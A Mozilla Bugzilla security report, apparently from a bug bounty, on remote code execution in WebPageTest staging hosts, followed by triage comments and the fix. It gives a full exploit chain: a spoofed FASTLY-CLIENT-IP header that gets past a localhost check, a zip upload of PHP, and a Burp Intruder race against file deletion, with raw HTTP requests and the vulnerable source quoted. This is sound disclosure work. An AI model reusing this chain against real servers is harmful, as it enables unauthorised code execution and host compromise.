Remote Code Execution on wpt-vpn.stage.mozaws.net and wpt1.dev.mozaws.net

RESOLVED FIXED

Status

defect
RESOLVED FIXED
2 years ago
2 months ago

People

(Reporter: shahshubham369, Unassigned)

Tracking

({sec-moderate, wsec-injection})

unspecified
Points:
---
Bug Flags:
sec-bounty +

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [reporter-external] [web-bounty-form] [verif?], )

Attachments

(6 attachments)

Reporter

Description

2 years ago
Hi team,

After finding the asset wpt-vpn.stage.mozaws.net and wpt1.dev.mozaws.net, Mathais K (avlidienbrunn@gmail.com) and I obtained the source code and performed an audit. We were able to achieve remote command execution on this server/the newest version of WebPage Test.

The following steps detail how to exploit this vulnerability on wpt-vpn.stage.mozaws.net. The exact same steps can be followed in order to gain code execution on wpt1.dev.mozaws.net.

# Part 1: Obtaining a valid test ID

1. Go to http://wpt-vpn.stage.mozaws.net/traceroute.php
2. Enter https://google.com
3. Click "Start Test"

This will redirect you to a URL such as the following:

http://wpt-vpn.stage.mozaws.net/result/171124_GW_9/

We now have a valid test ID: 171124_GW_9

# Part 2: Create a zip with the PHP file you want to execute on the server

For this example, I will be using the following script:

phpinfo.php:

<?php phpinfo(); ?>

1. Create a phpinfo.php file with the contents <?php phpinfo(); ?>
2. Zip this file (i.e. `zip phpinfo.zip phpinfo.php`)

# Part 3: Exploiting an arbitrary file write

1. Paste the following HTTP request in Burp's Repeater:

POST /work/workdone.php?key=1&id=171124_GW_9 HTTP/1.1
Host: wpt-vpn.stage.mozaws.net
Content-Length: 374
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
FASTLY-CLIENT-IP: 127.0.0.1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBebbbk7QfDsfw1Nl
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3272.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,sv;q=0.8,da;q=0.7
Cookie: o=738b32e31614726cf4599078528935e2cb0ec1f6; tzo=60
Connection: close

------WebKitFormBoundaryBebbbk7QfDsfw1Nl
Content-Disposition: form-data; name="file"; filename="1.zip"
Content-Type: application/zip

{insert zip file here}
------WebKitFormBoundaryBebbbk7QfDsfw1Nl--

2. Highlight the text `{insert zip file here}`, right click, paste from file
3. Select the file created in part 2: 'phpinfo.zip'

Don't send the request yet, we now have to setup the Intruder to send requests to our uploaded file at a really fast rate.

# Part 4: Initiate the intruder attack on Burp at 100 threads

1. Paste the following HTTP request into a Burp Intruder tab:

```
GET /results/17/11/24/GW/9/phpinfo.php?version=§§ HTTP/1.1
Host: wpt-vpn.stage.mozaws.net
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
DNT: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: as=1; testOptions=3; runs=3; cfg=us-east-1:Chrome.Cable; u=1000; d=5000; l=28; p=0; tid=171124_AV_8; o=42f2e115b1302f85a03dfcf1ae555dda73e3b157; tzo=60
Connection: close


```

2. Click the "Payloads" tab
3. Set the payload type to "Numbers"
4. Set type to "Sequential"
5. Set `From` to 1, `To` to 1000000, and `Step` to 1
6. Click on the "Options" tab
7. Set the number of threads to 100
8. Start the intruder attack

# Part 5: Send the upload created in part 3

Keep on pressing the "Go" button in the repeater tab, while the intruder attack is running. Do this maybe 10 or 15 times, and then return to the Intruder window in Burp Suite.

Sort the intruder results by content length.

This will reveal a result containing the output of phpinfo()

(screenshots attached)
(phpinfo output attached too)

------

Technical explanation

Arbitrary File Upload via ZIP files:

/webpagetest/www/work/workdone.php

Lines 133 - 136

      if (isset($_FILES['file']['tmp_name'])) {
        ExtractZipFile($_FILES['file']['tmp_name'], $testPath);
        CompressTextFiles($testPath);
      }

------

Deletion of "dangerous files"

/webpagetest/www/work/workdone.php
 
Line 321

SecureDir($testPath);

------

SecureDir Function

Line 2322 - 2347

/webpagetest/www/common_lib.inc

/**
* Make sure there are no risky files in the given directory and make everything no-execute
*
* @param mixed $path
*/
function SecureDir($path) {
    $files = scandir($path);
    foreach ($files as $file) {
        $filepath = "$path/$file";
        if (is_file($filepath)) {
            $parts = pathinfo($file);
            $ext = strtolower($parts['extension']);
            if (strpos($ext, 'php') === false &&
                strpos($ext, 'pl') === false &&
                strpos($ext, 'py') === false &&
                strpos($ext, 'cgi') === false &&
                strpos($ext, 'asp') === false &&
                strpos($ext, 'js') === false &&
                strpos($ext, 'rb') === false &&
                strpos($ext, 'htaccess') === false &&
                strpos($ext, 'jar') === false) {
                @chmod($filepath, 0666);
            } else {
                @chmod($filepath, 0666);    // just in case the unlink fails for some reason
                unlink($filepath);
            }
        } elseif ($file != '.' && $file != '..' && is_dir($filepath)) {
            SecureDir($filepath);
        }
    }
}

------

Since the SecureDir function occurs later during the code flow, we are able to exploit a race condition where the PHP files extracted to the webserver are temporarily accessible by the attacker. This leads to PHP code execution on the machine.

This is a 0day in WebPageTest and will require further co-ordination with their team. For the time being, I recommend enabling some sort of authentication for this host. This vulnerability can leads to a full compromise of the host `wpt-vpn.stage.mozaws.net`.
Flags: sec-bounty?
Reporter

Comment 2

2 years ago
Reporter

Comment 3

2 years ago
Reporter

Comment 4

2 years ago
Reporter

Comment 6

2 years ago
Please let me know if you weren't able to follow the reproduction steps. If this is the case, I'll spend some time creating a python script that recreates this vulnerability in an automated fashion.

Cheers

Comment 7

2 years ago
One thing to add to technical explanation: This script (/www/work/workdone.php line 103) is not supposed to be accessed from other sources than 127.0.0.1:

```
...
!strcmp($_SERVER['REMOTE_ADDR'], "127.0.0.1")
...
```

However there's a bug in /www/common.inc, line 70:

```
if (isset($_SERVER["HTTP_FASTLY_CLIENT_IP"]))
  $_SERVER["REMOTE_ADDR"] = $_SERVER["HTTP_FASTLY_CLIENT_IP"];
```

This allows a remote user to arbitrarily set $_SERVER["REMOTE_ADDR"] by sending the "FASTLY-CLIENT-IP" request header.
Thank you for the very detailed report. Redirecting to our QA team, who owns the service.
Karl: is this a critical service or can we lock it down while working on a fix?
Assignee: nobody → kthiessen
Group: websites-security → cloud-services-security
Component: Other → QA: Test Automation
Flags: needinfo?(kthiessen)
Product: Websites → Cloud Services
Security groups on both stacks have been locked down to prevent connection from the public internet.
:ulfr, locking this down is no problem while working on a fix.

Cc'ing Stephen Donner, who is (I believe) nominally in charge of this particular host.
Flags: needinfo?(kthiessen)
In case it helps: although it's not listed on https://mana.mozilla.org/wiki/display/SVCOPS/WebPageTest, I actually have been using the wpt-api.stage.mozaws.net instance exclusively for 4+ months (see https://bugzilla.mozilla.org/show_bug.cgi?id=1388578#c8).

(Harald and :relud would have a much-better idea whom might still use http://wpt-vpn.stage.mozaws.net.)
I asked relud to remove the vpn requirement as we were in a time crunch to create benchmark videos and needed to set up new test agents.

We used the services to produce the page load tests but don’t have further work planned at the moment that depends on webpagetest.
Shubham: Have you reported this vulnerability to the upstream project, and do you know if they fixed it?

Stephen: could this service be updated to the latest version?
I am in chatge of these hosts, with miles as my secondary. updating to the latest version should be automatic in dev, amd is simply a deploy in stage.
Reporter

Comment 15

2 years ago
:ulfr - I have sent an encrypted email to the maintainer of WebPageTest with the details of this vulnerability. I am waiting on a response and will update this thread once I have heard back.
Reporter

Comment 16

2 years ago
Hi :ulfr

I have not received any response from the maintainer after sending a PGP encrypted email.

Since this bug is no longer exploitable for Mozilla, could this be considered for a sec-bounty?

Thanks
Status: UNCONFIRMED → RESOLVED
Closed: 2 years ago
Resolution: --- → FIXED
Flags: sec-bounty? → sec-bounty+
Reporter

Comment 17

4 months ago

Hi :ulfr & :claudijd

I would like to write this bug up in a blog post. Can I please have permission to do so? I think the bug is interesting and can be disclosed responsibly since a year has passed. Appreciate it.

Shubs

Assignee: kthiessen → nobody

Lifting the sec flag. Feel free to write blog posts about it.

Group: cloud-services-security

Updated

2 months ago
See Also: → 1550366
You need to log in before you can comment on or make changes to this bug.